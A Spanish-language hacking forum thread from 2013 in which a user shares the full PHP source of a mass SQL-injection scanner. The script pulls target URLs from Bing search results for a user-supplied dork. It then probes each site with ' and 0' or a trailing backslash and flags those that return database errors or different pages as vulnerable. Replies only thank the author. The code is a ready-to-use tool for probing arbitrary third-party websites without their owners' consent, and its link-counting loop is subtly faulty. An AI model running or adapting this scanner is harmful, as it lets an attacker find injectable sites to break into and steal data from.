Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

SQLi Scanner by arthusu

  • 3 Respuestas
  • 2098 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 555
  • Actividad:
    0%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« en: Abril 08, 2013, 06:41:31 am »
Antes quiero comentarles que no soy muy bueno programando pero hago lo que puedo,bueno he creado este script mas que nada por que me artaba de darle clic a las webs (necesidad xD) y como google te bloqueaba a cierto punto entonces utilice bing, aunque de todas maneras para este tipo de escaneo necesitas un buen servidor con ancho de banda jeje para que lo soporte dependiendo de las peticiones, igual puedes modificar el script y mejorarlo, espero que a mas de uno le ayude....

Aca les dejo unas imagenes....







para usar es tan facil como agregar el dork y las paginas en paginas serian las paginacion de bing.... 1,2,3,4, etc... recomiendo que lo dejen por defecto en 5 ;)

ahora tienen dos opciones de escaneo, cuando seleccionas el checkbox hace una comparacion de paginas (agradesco a Alguien por pasarme este tip :D) y lo que hace es un vector and 0 que seria para blind... aunque pueden modificar a su gusto :P

y el otro detecta errores pueden agregar mas si lo desean.... o quitar si lo desean...

denle permisos a la carpeta para que se les agregue una lista de dorks si gustan sino comenten esas dos lineas...

pueden seleccionar el checkbox pero como hace una comparacion aveces da falso positivos si es una pagina dinamica por ejemplo que cambia su contenido como un slider... o diferentes cosas daria falsos positivos tambien .... o redirecciones, etc....

Aca esta el codigo sin ofuscar xD :P

Código: PHP
  1. <title>Buscador SQLi</title>
  2. <style>
  3. body{
  4.         background-color: black;
  5.         color:white;
  6.         text-align: center;
  7.         text-decoration: none;
  8. }
  9. .text:hover{
  10.         text-shadow: 1px 1px 5px #fff;
  11. }
  12. img:hover{
  13.         opacity:0.6;
  14. }
  15. a{
  16.         text-decoration: none;
  17.         color:red;
  18. }
  19. a:hover{
  20.         text-decoration: underline;
  21. }
  22. </style>
  23. <!-- Buscador SQLi basica usando bing by arthusu -->
  24. <a href="buscador_sqli.php"><img src="http://i.imgur.com/jKXhnme.png" alt="logo" /></a><br />
  25. <?php
  26. /*
  27. +------------------------------------------------+
  28. |   Buscador SQLi basica usando BING by arthusu  |
  29. +------------------------------------------------+
  30. */
  31. //sin limite de tiempo para ejecutar el script, puedes indicar segun gustes :P
  32. //esta funcion lo que hace es conectar a la url que le indiquemos como parametro
  33. function conectar_url($url){
  34.         //inicia curl y lo guarda en ch
  35.         $ch=curl_init();
  36.         //le damos una opciones como la url
  37.         curl_setopt($ch, CURLOPT_URL, $url);
  38.         //le damos una opcion de que nos devuelva la pagina sea verdadero
  39.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  40.         //de que siga la redireccion como verdadero
  41.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  42.         //de establecer un navegador en la cabecera user agent
  43.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0");
  44.         //aqui en esta variable se guarda la pagina
  45.         $pagina=curl_exec($ch);
  46.         curl_close($ch);
  47.         //devolvemos la pagina :D
  48.         return $pagina;
  49. }
  50. //si existe enviar
  51. if(isset($_POST['enviar'])){
  52.         // y si no estan vacios los campos
  53.         if(!empty($_POST['dork']) && !empty($_POST['paginas'])){
  54.         //almacenamos nuestras variables
  55.         $dork=htmlentities($_POST['dork'],ENT_QUOTES);
  56.         $paginas=$_POST['paginas'];
  57.         $paginas=htmlentities($paginas,ENT_QUOTES);
  58.         //abro un archivo y guardo los logs de los dorks que insertan :D, para poder realizar esto necesitas tener permisos de escritura en la carpeta
  59.         $archivo=fopen('dorks.txt','a');
  60.         fwrite($archivo, "Dork insertado: ".$dork."\n");
  61.         fclose($archivo);
  62.         //conformamos la url
  63.         $bing_url="http://www.bing.com/search?q=".$dork."&first=comienza";
  64.         //i vale 1 mientras i sea menor o igual a paginas i va ir en aumento de 1 en 1
  65.         //en caso de que el servidor no soporte demasiadas peticiones puedes modificar o limitar el numero de paginas :P
  66.         $i=1;
  67.         while($i<=$paginas){
  68.                 //si se encuentra "comienza" en la url entonces lo reemplazamos por el valor de i
  69.                 $url_bing=str_replace('comienza', $i, $bing_url);
  70.                 //echo $url_bing ."<br />";
  71.                 //almacenamos en una variable lo que nos retorna la busqueda
  72.                 $conectado=conectar_url($url_bing);
  73.                 //si no se encuentran resultados entonces que lo muestre
  74.                 if(preg_match("/No se encontraron resultados para/i", $conectado)){
  75.                         echo "No se encontro ningun resultado";
  76.                 }else{
  77.                         //nos conectamos a la url para que podamos verificar los enlaces
  78.                         $conectado2=conectar_url($url_bing);
  79.                         //print_r($enlaces);
  80.                         //verificamos si se encuentran enlaces
  81.                         if(preg_match_all('/<h3><a href="(.*?)"/', $conectado2,$enlaces)){
  82.                                 //tenemos e que es 0 si 0 es menor a todos los enlaces entonces vamos recorriendolos
  83.                         if(!empty($_POST['checked'])){
  84.                            for($e=0; $e<count($enlaces); $e++){
  85.                                 //reemplazamos <h3><a href=" por vacio para que pueda verificar el error
  86.                                 $reemplazo=str_replace("<h3><a href=\"", "", $enlaces[0][$e]);
  87.                                 $reemplazo=str_replace('"', "", $reemplazo);
  88.                                         //$reemplazo=$enlaces[0][$e];
  89.                                         //reemplazamos en =cualquiercosa por =" de manera para verificar el error
  90.                                 //$vuln=$reemplazo."'";
  91.                                 $vuln=$reemplazo;
  92.                                 $vuln2=$reemplazo." and 0";
  93.                                 //$vuln=str_replace("=","=order by 2" , $reemplazo);
  94.                                 //conectamos a la url modificada
  95.                                 $conectado3=conectar_url($vuln);
  96.                                 $conectado4=conectar_url($vuln2);
  97.                                 if($conectado3!=$conectado4){
  98.                                                 echo "<br />Vulnerable: <font color='red'><a href='".htmlentities($reemplazo)."' target='_blank'>".htmlentities($reemplazo)."</a></font><br />";
  99.                                         }else{
  100.                                                 echo "<br />No Vulnerable:".htmlentities($reemplazo)."<br />";
  101.                                         }
  102.                                
  103.                                  }
  104.                                 }else{
  105.                                         for($e=0; $e<count($enlaces); $e++){
  106.                                 //reemplazamos <h3><a href=" por vacio para que pueda verificar el error
  107.                                 $reemplazo=str_replace("<h3><a href=\"", "", $enlaces[0][$e]);
  108.                                 $reemplazo=str_replace('"', "", $reemplazo);
  109.                                         //reemplazamos en =cualquiercosa por =" de manera para verificar el error
  110.                                 //$vuln=$reemplazo."'";
  111.                                 $vuln2=$reemplazo."\\";
  112.                                 //$vuln=str_replace("=","=order by 2" , $reemplazo);
  113.                                 //conectamos a la url modificada
  114.                                 $conectado4=conectar_url($vuln2);
  115.  
  116.                                 //si coincide con cualquiera de estos errores decimos que es vulnerable sino pues no se le pueden ir agregando mas errores...
  117.                                 if(preg_match("/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|Microsoft JET Database Engine error|SQL query failed|MDB2 Error|Server Error|SQL command|403 Forbidden|Warning: mysql_query|Warning: mysql_fetch_row|Warning: mysql_fetch_assoc|Warning: mysql_fetch_object|Warning: mysql_numrows|Warning: mysql_num_rows|Warning: mysql_fetch_array|Warning: pg_connect|Supplied argument is not a valid PostgreSQL result|PostgreSQL query failed: ERROR: parser: parse error|MySQL Error|MySQL ODBC|MySQL Driver|supplied argument is not a valid MySQL result resource|on MySQL result index|Oracle ODBC|Oracle Error|Oracle Driver|Oracle DB2|Microsoft JET Database Engine error|ADODB\.Command|ADODB\.Field error|Microsoft Access Driver|Microsoft VBScript runtime error|Microsoft VBScript compilation error|Microsoft OLE DB Provider for SQL Server error|OLE\/DB provider returned message|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|Oracle Error|Oracle Driver|Oracle DB2|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|ODBC Driver|ODBC Error|ODBC Microsoft Access|ODBC Oracle|JDBC SQL|JDBC Oracle|JDBC MySQL|JDBC error|JDBC Driver|Invision Power Board Database Error|DB2 ODBC|DB2 error|DB2 Driver|error in your SQL syntax|unexpected end of SQL command|invalid query|SQL command not properly ended|Error converting data type varchar to numeric|An illegal character has been found in the statement|Active Server Pages error|ASP\.NET_SessionId|ASP\.NET is configured to show verbose error messages|A syntax error has occurred|ORA-01756|Error Executing Database Query|Unclosed quotation mark|BOF or EOF|GetArray|FetchRow|Input string was not in a correct format|Warning: include|Warning: require_once|function\.include|Disallowed Parent Path|function\.require|Warning: main|Warning: session_start|Warning: getimagesize|Warning: mysql_result|Warning: pg_exec|Warning: array_merge|Warning: preg_match|Incorrect syntax near|ORA-00921: unexpected end of SQL command|Warning: ociexecute|Warning: ocifetchstatement|error ORA-/i", $conectado4)){
  118.                                         echo "<br />Vulnerable: <font color='red'><a href='".htmlentities($reemplazo)."' target='_blank'>".htmlentities($reemplazo)."</a></font><br />";
  119.                                 }else{
  120.                                         echo "No vulnerable: ".htmlentities($reemplazo)."<br />";
  121.                                 }
  122.                                 }
  123.                         }
  124.                 }else{
  125.                                 //si no se encontraron url entonces decimos que no coinciden con el formato
  126.                                 echo "No coincide con el formato<br />";
  127.                         }
  128.                        
  129.                 }
  130.                 //borramos la variable url_bing para que se cree de nuevo arriba con un nuevo valor
  131.                 unset($url_bing);
  132.                 //aumentamos i a uno para que siga recorriendo las urls
  133.                 ++$i;
  134.         }
  135. }else{
  136. //si estan vacios los campos entonces muestra que debe llenarlos y tambien muestra el formulario de nuevo
  137.         echo "Debes llenar los campos <br /><br />";
  138. ?>
  139. <!-- Aqui tenemos nuestro formulario -->
  140.         <center>
  141.         <table border="0" width="500">
  142.         <form action="" method="post">
  143.         <tr><td><b><span class="text">Ingresa el dork</span></b></td><td><input type="text" name="dork" placeholder="dork"></td><tr>
  144.         <tr><td><b><span class="text">Ingresa el numero de paginas a escanear</span></b></td><td><input type="text" name="paginas" value="5"></td></tr>
  145.         <tr><td><input name="checked" type="checkbox"></td></tr>
  146.         <tr><td colspan="2"><input type="submit" name="enviar"></td></tr>
  147.         <tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span class="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr>
  148.         <tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span class="text">: En paginas son las paginas a escanear en el buscador en este caso bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por defecto en 5 :)</span></p></td></tr>
  149.         </form>
  150.         <table>
  151.         </center>
  152. <?php
  153. }
  154. }else{
  155.         //sino existe enviar muestra un mensaje y muestra el formulario de nuevo
  156.         echo '
  157.         <center>
  158.         <table border="0" width="500">
  159.         <form action="" method="post">
  160.         <tr><td><b><span class="text">Ingresa el dork</span></b></td><td><input type="text" name="dork" placeholder="dork"></td><tr>
  161.         <tr><td><b><span class="text">Ingresa el numero de paginas a escanear</span></b></td><td><input type="text" name="paginas" value="5"></td></tr>
  162.         <tr><td><input name="checked" type="checkbox"></td></tr>
  163.         <tr><td colspan="2"><input type="submit" name="enviar"></td></tr>
  164.         <tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span class="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr>
  165.         <tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span class="text">: En paginas son las paginas a escanear en el buscador en este caso bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por defecto en 5 :)</span></p></td></tr>
  166.         </form>
  167.         <table>
  168.         </center>
  169.         ';
  170. }
  171. /*
  172. La nota mas importante es que le podemos ir agregando errores mientras vayas encontrando...
  173. Este programa puede llegar a lanzar falsos positivos....
  174. */
  175. ?>
  176.  

salu2
« Última modificación: Abril 10, 2013, 04:44:13 am por arthusu »
Pentest - Hacking & Security Services

Contact me: arthusu@gmail.com

Desconectado Cronos

  • *
  • Underc0der
  • Mensajes: 1000
  • Actividad:
    0%
  • Reputación 1
  • Mientras mas se, me doy cuenta de lo poco que se.
    • Ver Perfil
    • Email
  • Skype: cronos.labs
« Respuesta #1 en: Abril 09, 2013, 09:56:32 am »
Muy buena arthusu! Cada ves mejor lo tuyo, y por lo que veo también has estado practicando con photoshop :)
Saludos,, Cronos.-

Desconectado askatuak

  • *
  • Underc0der
  • Mensajes: 11
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Abril 09, 2013, 10:27:02 am »
Gracias compañero!!!

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« Respuesta #3 en: Abril 09, 2013, 12:37:34 pm »
buena bro yo tambien hice uno en perl,python,ruby,java y proximamente en delphi 2010

 

¿Te gustó el post? COMPARTILO!



Ejemplo Formulario PHP anti XSS y CSRF y SQLi

Iniciado por graphixx

Respuestas: 1
Vistas: 1893
Último mensaje Septiembre 10, 2018, 02:47:25 pm
por vapro
[Código-PHP] SQLi Searcher V1 - JaAViEr

Iniciado por JaAViEr

Respuestas: 4
Vistas: 1469
Último mensaje Junio 05, 2011, 06:30:48 pm
por JaAViEr
PHP port Scanner

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1721
Último mensaje Marzo 30, 2012, 12:24:37 pm
por ANTRAX
[PHP] DH Scanner 0.9

Iniciado por BigBear

Respuestas: 0
Vistas: 1400
Último mensaje Noviembre 20, 2015, 07:54:30 pm
por BigBear